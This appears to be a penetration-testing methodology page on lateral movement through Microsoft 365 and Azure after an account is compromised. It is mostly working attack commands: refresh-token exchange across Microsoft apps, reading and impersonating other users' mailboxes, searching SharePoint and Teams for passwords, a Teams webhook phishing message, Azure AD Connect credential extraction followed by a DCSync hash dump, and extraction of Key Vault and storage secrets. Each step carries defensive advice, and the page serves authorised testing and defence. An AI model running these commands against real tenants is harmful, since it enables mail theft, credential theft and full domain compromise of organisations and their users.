Phase 6 Checklist

0 / 8 completed

🔀 Cross-Service Pivoting

1 Token Scope Switching — FOCI & Refresh Token Exchange

Microsoft uses a concept called Family of Client IDs (FOCI). When a user authenticates to one first-party Microsoft application, the resulting refresh token can be exchanged for access tokens to other first-party Microsoft applications within the same FOCI family — without requiring the user to re-authenticate or consent. This is the foundation of lateral movement across M365 services.

FOCI Explained: FOCI is a feature where Microsoft bundles certain client application IDs into a "family". A refresh token issued to any member of this family (e.g., Microsoft Office, Microsoft Teams, Outlook Mobile) can be used to request access tokens for any other family member. This means a single compromised refresh token can unlock access to Graph API, Outlook, SharePoint, Azure Management, Substrate, and more.

The TokenTactics PowerShell module by Steve Borosh automates this process. Once you have a valid refresh token (obtained through device code phishing, token cache theft, or other means), you can systematically exchange it for access tokens targeting different M365 resource endpoints.

TokenTactics TokenTacticsV2 AADInternals ROADtools

Exchange Refresh Token for Microsoft Graph Access

PowerShell
# Import TokenTactics module
Import-Module TokenTactics

# Exchange a refresh token for a Microsoft Graph access token
Invoke-RefreshToMSGraphToken -refreshToken $RefreshToken -domain "target.com" -Device "Mac"

# The resulting token is stored in $MSGraphToken
# Use it to query the Graph API
$Headers = @{ "Authorization" = "Bearer $($MSGraphToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers

Exchange Refresh Token for Outlook/Exchange Access

PowerShell
# Exchange refresh token for Outlook API access
Invoke-RefreshToOutlookToken -refreshToken $RefreshToken -domain "target.com"

# Access mailbox via the Outlook REST API
$Headers = @{ "Authorization" = "Bearer $($OutlookToken.access_token)" }
Invoke-RestMethod -Uri "https://outlook.office365.com/api/v2.0/me/messages?`$top=50" -Headers $Headers

Exchange Refresh Token for SharePoint Access

PowerShell
# Exchange refresh token for SharePoint Online access
Invoke-RefreshToSharePointToken -refreshToken $RefreshToken -domain "target.com"

# List SharePoint sites accessible to the user
$Headers = @{ "Authorization" = "Bearer $($SharePointToken.access_token)" }
Invoke-RestMethod -Uri "https://target.sharepoint.com/_api/web/lists" -Headers $Headers

Exchange Refresh Token for Azure Management Access

PowerShell
# Exchange refresh token for Azure Resource Manager access
Invoke-RefreshToAzureManagementToken -refreshToken $RefreshToken -domain "target.com"

# Exchange refresh token for Azure Core Management (Substrate) access
Invoke-RefreshToSubstrateToken -refreshToken $RefreshToken -domain "target.com"

# Exchange refresh token for Microsoft Teams access
Invoke-RefreshToTeamsToken -refreshToken $RefreshToken -domain "target.com"

# Exchange refresh token for OneDrive access
Invoke-RefreshToOneDriveToken -refreshToken $RefreshToken -domain "target.com"

Manual Token Exchange via OAuth2 Token Endpoint

PowerShell
# Manual FOCI token exchange using a known FOCI client ID
# Common FOCI client IDs:
#   Microsoft Office   : d3590ed6-52b3-4102-aeff-aad2292ab01c
#   Microsoft Teams    : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
#   Outlook Mobile     : 27922004-5251-4030-b22d-91ecd9a37ea4
#   Azure CLI          : 04b07795-ee59-4d68-a789-16c0f730f710

$body = @{
    "grant_type"    = "refresh_token"
    "refresh_token" = $RefreshToken
    "client_id"     = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "scope"         = "https://graph.microsoft.com/.default offline_access"
}

$response = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" `
    -Body $body -ContentType "application/x-www-form-urlencoded"

# Now use the new access token for Graph API
$response.access_token
Token Lifetime Awareness: Refresh tokens have a finite lifetime (typically 90 days for single-page apps, or until revoked). Access tokens usually expire in 60–90 minutes. Continuous Access Evaluation (CAE) can revoke tokens earlier if risk is detected. Plan your token exchanges before refresh tokens expire.
🛡
Defence: Deploy Conditional Access policies that enforce token binding and restrict token usage by device compliance, location, and application. Enable Continuous Access Evaluation (CAE) to revoke tokens in near real-time when risk signals change. Monitor for anomalous token usage patterns in Entra ID sign-in logs — particularly tokens being redeemed from unexpected client IDs or IP addresses.
2 Exchange Online Pivoting — Mailbox Access & Impersonation

With access to Exchange Online, an attacker can pivot laterally by accessing mailboxes beyond the compromised user's own. This includes reading shared mailboxes, exploiting delegate permissions, and using EWS ApplicationImpersonation to read any user's mail if the compromised account holds that role.

Read the Compromised User's Mail via Graph API

HTTP / Graph API
# List recent messages for the current user
GET https://graph.microsoft.com/v1.0/me/messages?$top=50&$orderby=receivedDateTime desc
Authorization: Bearer {access_token}

# Search for messages containing credentials or secrets
GET https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR API key OR credential"
Authorization: Bearer {access_token}

# List mail folders (Inbox, Sent, Drafts, etc.)
GET https://graph.microsoft.com/v1.0/me/mailFolders
Authorization: Bearer {access_token}

Access Another User's Mailbox (With Delegate or Admin Permissions)

HTTP / Graph API
# Read another user's messages (requires Mail.Read or Mail.ReadWrite application permission,
# or the compromised user has delegate/full access to the target mailbox)
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/messages?$top=50
Authorization: Bearer {access_token}

# Access shared mailboxes
GET https://graph.microsoft.com/v1.0/users/shared-mailbox@target.com/messages
Authorization: Bearer {access_token}

# List mailbox delegate permissions
GET https://graph.microsoft.com/v1.0/users/{user-id}/mailboxSettings
Authorization: Bearer {access_token}

Enumerate Mailbox Permissions via Exchange Online PowerShell

PowerShell
# Connect to Exchange Online
Connect-ExchangeOnline -AccessToken $AccessToken

# Check who has full access to a target mailbox
Get-MailboxPermission -Identity "ceo@target.com" | Where-Object { $_.AccessRights -like "*FullAccess*" }

# Check Send-As permissions
Get-RecipientPermission -Identity "ceo@target.com" | Where-Object { $_.AccessRights -like "*SendAs*" }

# Check Send-on-Behalf permissions
Get-Mailbox -Identity "ceo@target.com" | Select-Object GrantSendOnBehalfTo

# Find all mailboxes where the compromised user has delegate access
Get-Mailbox -ResultSize Unlimited | Get-MailboxPermission | Where-Object { $_.User -like "*compromised-user*" -and $_.AccessRights -like "*FullAccess*" }

EWS ApplicationImpersonation

If the compromised account has been assigned the ApplicationImpersonation management role in Exchange Online, it can impersonate any user and access their mailbox as if it were them. This is a powerful lateral movement technique commonly used by service accounts.

PowerShell / EWS
# Check if the compromised user has the ApplicationImpersonation role
Get-ManagementRoleAssignment -Role "ApplicationImpersonation" | Format-List RoleAssigneeName, EffectiveUserName

# Using EWS Managed API to impersonate another user
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($AccessToken)
$service.Url = "https://outlook.office365.com/EWS/Exchange.asmx"

# Impersonate the target user
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId(
    [Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress,
    "target-user@target.com"
)

# Read the target user's inbox
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,
    [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$inbox.FindItems(50) | ForEach-Object { $_.Subject }

Searching Emails for Credentials and Secrets

PowerShell / Graph API
# GraphRunner - search mailbox for sensitive keywords
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "secret"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "API key"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "SAS token"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "connection string"
🛡
Defence: Audit and minimize mailbox delegation permissions regularly. Remove the ApplicationImpersonation role from any accounts that do not require it. Enable mailbox audit logging for MailItemsAccessed events. Use Microsoft Purview Information Protection to detect when sensitive emails are being accessed by unexpected accounts. Alert on bulk mail read operations in Unified Audit Log.
3 SharePoint & OneDrive Traversal

SharePoint Online and OneDrive for Business are key repositories of organisational data. With a valid access token, you can enumerate all SharePoint sites the compromised user has access to, search document libraries for sensitive files, and (with admin permissions) access any user's OneDrive.

Enumerate Accessible SharePoint Sites

HTTP / Graph API
# List all SharePoint sites in the tenant (requires Sites.Read.All)
GET https://graph.microsoft.com/v1.0/sites?search=*
Authorization: Bearer {access_token}

# Get the root SharePoint site
GET https://graph.microsoft.com/v1.0/sites/root
Authorization: Bearer {access_token}

# List subsites of a specific site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/sites
Authorization: Bearer {access_token}

# List document libraries (drives) for a site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives
Authorization: Bearer {access_token}

# List files in a specific document library
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/root/children
Authorization: Bearer {access_token}

Search Across SharePoint for Sensitive Content

HTTP / Graph API
# Search across all SharePoint content for sensitive files
POST https://graph.microsoft.com/v1.0/search/query
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "requests": [
    {
      "entityTypes": ["driveItem"],
      "query": {
        "queryString": "password OR credentials OR secret OR \"API key\" OR \"connection string\""
      },
      "from": 0,
      "size": 25
    }
  ]
}

# Search for specific file types that often contain secrets
POST https://graph.microsoft.com/v1.0/search/query
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "requests": [
    {
      "entityTypes": ["driveItem"],
      "query": {
        "queryString": "filetype:xlsx OR filetype:csv OR filetype:kdbx OR filetype:config OR filetype:env"
      },
      "from": 0,
      "size": 25
    }
  ]
}

Access Another User's OneDrive (Admin Permissions)

HTTP / Graph API
# Access a specific user's OneDrive (requires Files.Read.All or Sites.Read.All)
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/drive/root/children
Authorization: Bearer {access_token}

# Search a specific user's OneDrive
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/drive/root/search(q='password')
Authorization: Bearer {access_token}

# Download a specific file
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/content
Authorization: Bearer {access_token}

GraphRunner — Automated SharePoint Enumeration

PowerShell
# GraphRunner - enumerate accessible SharePoint sites
Invoke-GraphRunner -Tokens $tokens

# Search SharePoint for interesting files
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"

# Download interesting files from SharePoint
Invoke-DownloadSharePointFile -Tokens $tokens -DriveId $driveId -FileId $fileId
Oversharing Risk: Many organisations have SharePoint sites with permissions configured as "Everyone" or "Everyone except external users", meaning any authenticated user in the tenant can access them. Always check for overshared sites — they frequently contain sensitive internal documents, IT runbooks, and credential stores.
🛡
Defence: Conduct regular SharePoint access reviews using the SharePoint Admin Centre or Microsoft Purview. Remove "Everyone" and "Everyone except external users" permissions from sensitive sites. Enable auditing for FileAccessed and FileDownloaded events. Deploy sensitivity labels to automatically protect classified documents. Use SharePoint Advanced Management site access reviews to identify overshared content.

💬 Teams & Communication Pivoting

4 Microsoft Teams Exploitation

Microsoft Teams is a rich source of lateral movement opportunities. Users routinely share credentials, internal URLs, webhook tokens, and sensitive business information in Teams messages. Teams files are stored in SharePoint, so file-based access follows the same patterns as Step 3. Additionally, Teams apps and tabs can be abused to deliver payloads.

GraphRunner TokenTactics TeamsEnum

Enumerate Teams and Channels

HTTP / Graph API
# List all Teams the compromised user is a member of
GET https://graph.microsoft.com/v1.0/me/joinedTeams
Authorization: Bearer {access_token}

# List channels in a specific Team
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels
Authorization: Bearer {access_token}

# List all Teams in the tenant (requires admin permissions)
GET https://graph.microsoft.com/v1.0/groups?$filter=resourceProvisioningOptions/Any(x:x eq 'Team')
Authorization: Bearer {access_token}

Read Teams Messages and Search for Credentials

HTTP / Graph API
# Read messages from a channel
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages
Authorization: Bearer {access_token}

# Read replies to a specific message
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages/{message-id}/replies
Authorization: Bearer {access_token}

# Read 1:1 and group chat messages
GET https://graph.microsoft.com/v1.0/me/chats
Authorization: Bearer {access_token}

GET https://graph.microsoft.com/v1.0/me/chats/{chat-id}/messages
Authorization: Bearer {access_token}

GraphRunner — Automated Teams Enumeration

PowerShell
# Use GraphRunner to dump Teams messages
Invoke-DumpTeamsMessages -Tokens $tokens

# Search Teams messages for sensitive keywords
Invoke-SearchTeams -Tokens $tokens -SearchTerm "password"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "webhook"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "token"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "API key"

Teams Webhook Abuse

Incoming webhook URLs posted in Teams channels can be used to send messages to those channels, potentially for phishing or social engineering within the organisation.

PowerShell
# If you find a Teams incoming webhook URL, you can post messages to the channel
$webhookUrl = "https://target.webhook.office.com/webhookb2/..."

$body = @{
    "@type"    = "MessageCard"
    "summary"  = "IT Notification"
    "sections" = @(
        @{
            "activityTitle" = "Action Required: Password Reset"
            "text"          = "Please verify your credentials at the link below."
        }
    )
} | ConvertTo-Json -Depth 10

Invoke-RestMethod -Uri $webhookUrl -Method POST -Body $body -ContentType "application/json"

Access Teams Files (Stored in SharePoint)

HTTP / Graph API
# Teams files are stored in the associated SharePoint site
# Get the SharePoint site associated with a Team
GET https://graph.microsoft.com/v1.0/groups/{team-id}/sites/root
Authorization: Bearer {access_token}

# List files in the Team's default document library
GET https://graph.microsoft.com/v1.0/groups/{team-id}/drive/root/children
Authorization: Bearer {access_token}

# Get files from a specific channel folder
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/filesFolder
Authorization: Bearer {access_token}
Caution: Installing malicious Teams apps, tabs, or connectors into a Team will be visible to other members. During an authorised test, coordinate with the client before performing actions that could alert users or disrupt business operations.
🛡
Defence: Restrict who can create incoming webhooks and connectors via Teams admin policies. Educate users against sharing credentials in Teams chats. Enable Microsoft Purview Communication Compliance to detect sensitive data sharing in Teams messages. Disable sideloading of custom Teams apps. Monitor for unusual bulk message read operations in the Unified Audit Log.
5 Power Platform Pivoting — Flows, Apps & Connectors

The Power Platform (Power Automate, Power Apps, Power BI) is a frequently overlooked attack surface. Power Automate flows often contain hardcoded credentials, API keys, and connection strings in their definitions. Flows can also have connectors to external services (databases, SaaS applications, on-premises systems) that an attacker can abuse for further lateral movement.

PowerPwn Power Platform Admin Centre

Enumerate Power Automate Environments and Flows

HTTP / REST API
# List Power Platform environments accessible to the user
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments?api-version=2016-11-01
Authorization: Bearer {management_access_token}

# List flows in a specific environment
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/flows?api-version=2016-11-01
Authorization: Bearer {management_access_token}

# Get details of a specific flow (may reveal credentials in flow definition)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/flows/{flow-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}

Enumerate Power Automate Connections

HTTP / REST API
# List connections in an environment (connectors to external services)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/connections?api-version=2016-11-01
Authorization: Bearer {management_access_token}

# Get connection details (may reveal connection type, endpoints, and stored credentials)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/connections/{connection-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}

Enumerate Power Apps

HTTP / REST API
# List Power Apps accessible to the user
GET https://management.azure.com/providers/Microsoft.PowerApps/apps?api-version=2016-11-01
Authorization: Bearer {management_access_token}

# Get details of a specific app (may reveal data sources, connectors)
GET https://management.azure.com/providers/Microsoft.PowerApps/apps/{app-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}

PowerShell — Power Platform Enumeration

PowerShell
# Install the Power Apps admin module
Install-Module -Name Microsoft.PowerApps.Administration.PowerShell
Install-Module -Name Microsoft.PowerApps.PowerShell

# Connect and enumerate environments
Add-PowerAppsAccount
Get-AdminPowerAppEnvironment

# List all flows in all environments
Get-AdminFlow

# List all Power Apps
Get-AdminPowerApp

# List all connections
Get-AdminPowerAppConnection

# List all custom connectors (may reveal custom API endpoints)
Get-AdminPowerAppConnector
High-Value Targets: Look for flows that connect to SQL databases, Key Vaults, on-premises data gateways, or third-party SaaS APIs. These connections often store credentials that can be extracted from the flow definition JSON. Flows running under service accounts or with elevated permissions are particularly valuable for lateral movement.
🛡
Defence: Implement Data Loss Prevention (DLP) policies in the Power Platform Admin Centre to restrict which connectors can be used together. Disable the default environment or restrict who can create flows and apps. Regularly audit flow definitions for hardcoded secrets. Use environment-level security roles to restrict access. Enable Power Platform audit logging and forward events to your SIEM.

🌐 Cross-Tenant & Hybrid Movement

6 B2B Guest Access Exploitation

Azure AD B2B (Business-to-Business) collaboration allows users from one tenant to access resources in another tenant as guest users. If the compromised tenant has B2B relationships, the compromised identity (or tokens) may be able to access partner organisation tenants. Cross-tenant access policies control this, but misconfigurations are common.

Enumerate B2B Relationships and Cross-Tenant Access Policies

HTTP / Graph API
# List cross-tenant access policy partners
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners
Authorization: Bearer {access_token}

# Get the default cross-tenant access policy
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/default
Authorization: Bearer {access_token}

# Enumerate guest users in the current tenant (users from other tenants)
GET https://graph.microsoft.com/v1.0/users?$filter=userType eq 'Guest'
Authorization: Bearer {access_token}

# Check partner-specific policy details
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners/{partner-tenant-id}
Authorization: Bearer {access_token}

Discover Partner Tenants Through User Properties

PowerShell
# Using Microsoft Graph PowerShell to find guest users and their home tenants
Connect-MgGraph -AccessToken $AccessToken

# List all guest users and their source tenants
Get-MgUser -Filter "userType eq 'Guest'" -All | Select-Object DisplayName, Mail, ExternalUserState, CreationType

# Extract unique partner tenant domains from guest UPNs
Get-MgUser -Filter "userType eq 'Guest'" -All | ForEach-Object {
    ($_.Mail -split "@")[1]
} | Sort-Object -Unique

Attempt Access to Partner Tenant as Guest

PowerShell
# If the compromised user has been invited as a guest to another tenant,
# request a token scoped to that partner tenant
$body = @{
    "grant_type"    = "refresh_token"
    "refresh_token" = $RefreshToken
    "client_id"     = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "scope"         = "https://graph.microsoft.com/.default offline_access"
}

# Authenticate against the PARTNER tenant's token endpoint
$partnerToken = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/{partner-tenant-id}/oauth2/v2.0/token" `
    -Body $body -ContentType "application/x-www-form-urlencoded"

# Enumerate what is accessible in the partner tenant
$Headers = @{ "Authorization" = "Bearer $($partnerToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/organization" -Headers $Headers
Guest Access Scope: By default, guest users in Azure AD have limited permissions — they can read basic directory properties, see members of groups they belong to, and access resources explicitly shared with them. However, some tenants grant guests the same permissions as member users (check "Guest user access restrictions" in External Collaboration Settings), which can significantly widen the attack surface.
🛡
Defence: Configure cross-tenant access policies to explicitly define which partner organisations can access your tenant and what resources they can reach. Set guest user access to "most restrictive" in External Collaboration Settings. Require MFA for guest users via Conditional Access. Regularly review and revoke stale guest accounts. Enable cross-tenant sign-in log monitoring.
7 Hybrid Infrastructure Pivoting — Azure AD Connect & On-Prem AD

In hybrid environments using Azure AD Connect (now Entra Connect), the synchronisation service account (MSOL_ account) has DCSync-equivalent permissions in on-premises Active Directory. If you can compromise the Azure AD Connect server or extract the sync account credentials, you can pivot from cloud to on-prem AD — and vice versa. This is one of the most critical lateral movement paths in hybrid M365 environments.

🔥
Critical Impact: The MSOL_ sync account typically has "Replicating Directory Changes" and "Replicating Directory Changes All" permissions in on-premises AD. This is equivalent to DCSync, meaning it can extract the password hash of any user in the on-premises domain, including domain admins and the krbtgt account.
AADInternals Mimikatz Impacket

Identify Azure AD Connect in the Environment

PowerShell
# Check if Azure AD Connect is configured (via Graph API)
$Headers = @{ "Authorization" = "Bearer $($GraphToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/organization" -Headers $Headers | Select-Object -ExpandProperty value | Select-Object onPremisesSyncEnabled, onPremisesLastSyncDateTime

# If onPremisesSyncEnabled is true, Azure AD Connect is in use

# Enumerate the MSOL_ service account in the tenant
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users?`$filter=startswith(displayName,'MSOL_')" -Headers $Headers

# Or look for the Directory Synchronization Accounts role
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=displayName eq 'Directory Synchronization Accounts'" -Headers $Headers

Extract Azure AD Connect Sync Credentials (If Server is Compromised)

PowerShell / AADInternals
# On the Azure AD Connect server (requires local admin on the server)
# AADInternals can extract the sync account credentials from the local database

Import-Module AADInternals

# Extract the MSOL_ account credentials stored locally
Get-AADIntSyncCredentials

# Output will contain:
#   Name     : MSOL_abc123def456
#   Domain   : target.com
#   UserName : MSOL_abc123def456@target.onmicrosoft.com
#   Password : [cleartext password]

# These credentials can now be used for DCSync against on-prem AD

DCSync Using the MSOL_ Account Credentials

Bash / Impacket
# Use Impacket's secretsdump.py with the extracted MSOL_ credentials
# to perform a DCSync attack against the on-premises domain controller

impacket-secretsdump 'target.local/MSOL_abc123def456:ExtractedPassword@dc01.target.local'

# This will dump all user password hashes from on-prem AD, including:
#   - Domain Admin NTLM hashes
#   - krbtgt hash (enables Golden Ticket attacks)
#   - All user password hashes

# Alternative: Use Mimikatz DCSync from a domain-joined machine
# mimikatz # lsadump::dcsync /domain:target.local /user:Administrator

Cloud-to-On-Prem via Password Hash Sync (PHS)

PowerShell / AADInternals
# If you have Global Admin in the cloud tenant and PHS is enabled,
# AADInternals can extract on-prem password hashes that were synced to the cloud

Import-Module AADInternals

# Get access token for AAD Graph
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred

# Extract password hashes synced from on-prem to Entra ID
Get-AADIntSyncObjects -AccessToken $token | Select-Object SourceAnchor, CloudAnchor, userPrincipalName

# Set the sync password for a specific user (effectively resetting their on-prem password)
Set-AADIntUserPassword -AccessToken $token -SourceAnchor "base64-anchor" -Password "NewP@ssw0rd!"
Sync Direction Matters: With Password Hash Sync (PHS), password hashes flow from on-prem to cloud. With Pass-Through Authentication (PTA), authentication requests are forwarded to on-prem agents. With Federation (ADFS), authentication is handled by the ADFS server. Each sync method presents different pivot opportunities and attack paths.
🛡
Defence: Treat the Azure AD Connect server as a Tier 0 asset — apply the same security controls as your domain controllers. Restrict local admin access, enable credential guard, and monitor for unusual authentication by the MSOL_ account. Consider migrating to cloud-only authentication to eliminate the hybrid attack surface. Enable Protected Actions for Global Admin operations. Monitor for DCSync-like replication events (Event ID 4662 with Replicating Directory Changes permissions).
8 Azure Subscription Pivoting — M365 to Azure Resources

Entra ID is the identity provider for both M365 and Azure. If the compromised user (or a token exchanged via FOCI) has access to Azure subscriptions, you can pivot from the M365 attack chain into Azure infrastructure — accessing virtual machines, Key Vaults, Storage Accounts, databases, and more. This represents a significant expansion of the attack surface.

Az PowerShell Azure CLI AzureHound ROADtools

Enumerate Azure Subscriptions

PowerShell
# Connect to Azure using the exchanged Azure Management token
Connect-AzAccount -AccessToken $AzureManagementToken -AccountId "user@target.com"

# List all subscriptions the user has access to
Get-AzSubscription

# Set context to a specific subscription
Set-AzContext -SubscriptionId "subscription-guid"

# List all resource groups in the subscription
Get-AzResourceGroup

# List all resources in the subscription
Get-AzResource

Enumerate Key Vaults and Extract Secrets

PowerShell
# List all Key Vaults in the subscription
Get-AzKeyVault

# List secrets in a Key Vault
Get-AzKeyVaultSecret -VaultName "target-keyvault"

# Retrieve a secret value
$secret = Get-AzKeyVaultSecret -VaultName "target-keyvault" -Name "db-connection-string" -AsPlainText

# List keys in a Key Vault
Get-AzKeyVaultKey -VaultName "target-keyvault"

# List certificates in a Key Vault
Get-AzKeyVaultCertificate -VaultName "target-keyvault"

Enumerate Storage Accounts

PowerShell
# List all storage accounts
Get-AzStorageAccount

# Get storage account keys (if you have sufficient permissions)
Get-AzStorageAccountKey -ResourceGroupName "rg-production" -Name "targetstorage"

# List containers in a storage account
$ctx = New-AzStorageContext -StorageAccountName "targetstorage" -StorageAccountKey $key
Get-AzStorageContainer -Context $ctx

# List blobs in a container
Get-AzStorageBlob -Container "backups" -Context $ctx

# Download a blob
Get-AzStorageBlobContent -Container "backups" -Blob "db-backup.bak" -Destination "./db-backup.bak" -Context $ctx

Enumerate Virtual Machines

PowerShell
# List all VMs in the subscription
Get-AzVM

# Get detailed VM information
Get-AzVM -ResourceGroupName "rg-production" -Name "vm-web-01" -Status

# Run a command on a VM (if you have Contributor or VM Contributor role)
Invoke-AzVMRunCommand -ResourceGroupName "rg-production" -VMName "vm-web-01" `
    -CommandId "RunPowerShellScript" -ScriptString "whoami; ipconfig"

# Check for managed identities on VMs
Get-AzVM | Select-Object Name, @{
    N='ManagedIdentity'; E={$_.Identity.Type}
}

Azure REST API — Direct Enumeration

HTTP / REST API
# List subscriptions via the Azure Resource Manager API
GET https://management.azure.com/subscriptions?api-version=2022-12-01
Authorization: Bearer {azure_management_token}

# List all resources in a subscription
GET https://management.azure.com/subscriptions/{sub-id}/resources?api-version=2021-04-01
Authorization: Bearer {azure_management_token}

# List role assignments (who has access to what)
GET https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01
Authorization: Bearer {azure_management_token}

# Check current user's role assignments
GET https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?$filter=principalId eq '{user-object-id}'&api-version=2022-04-01
Authorization: Bearer {azure_management_token}
Managed Identities: Azure VMs with system-assigned or user-assigned managed identities can request tokens for Azure resources from the IMDS endpoint (169.254.169.254). If you can execute commands on a VM, you can request tokens as that managed identity, potentially accessing Key Vaults, Storage Accounts, or other Azure services that the identity is authorised for — without needing any credentials.
🛡
Defence: Apply least-privilege RBAC assignments across all Azure subscriptions. Use Azure Privileged Identity Management (PIM) for just-in-time Azure role activation. Enable Azure Key Vault access policies or RBAC with minimal scope. Deploy Azure Policy to enforce security baselines. Monitor Azure Activity Logs and Resource Manager operations for unusual access patterns. Restrict VM Run Command access via RBAC and use NSGs to limit network-level access.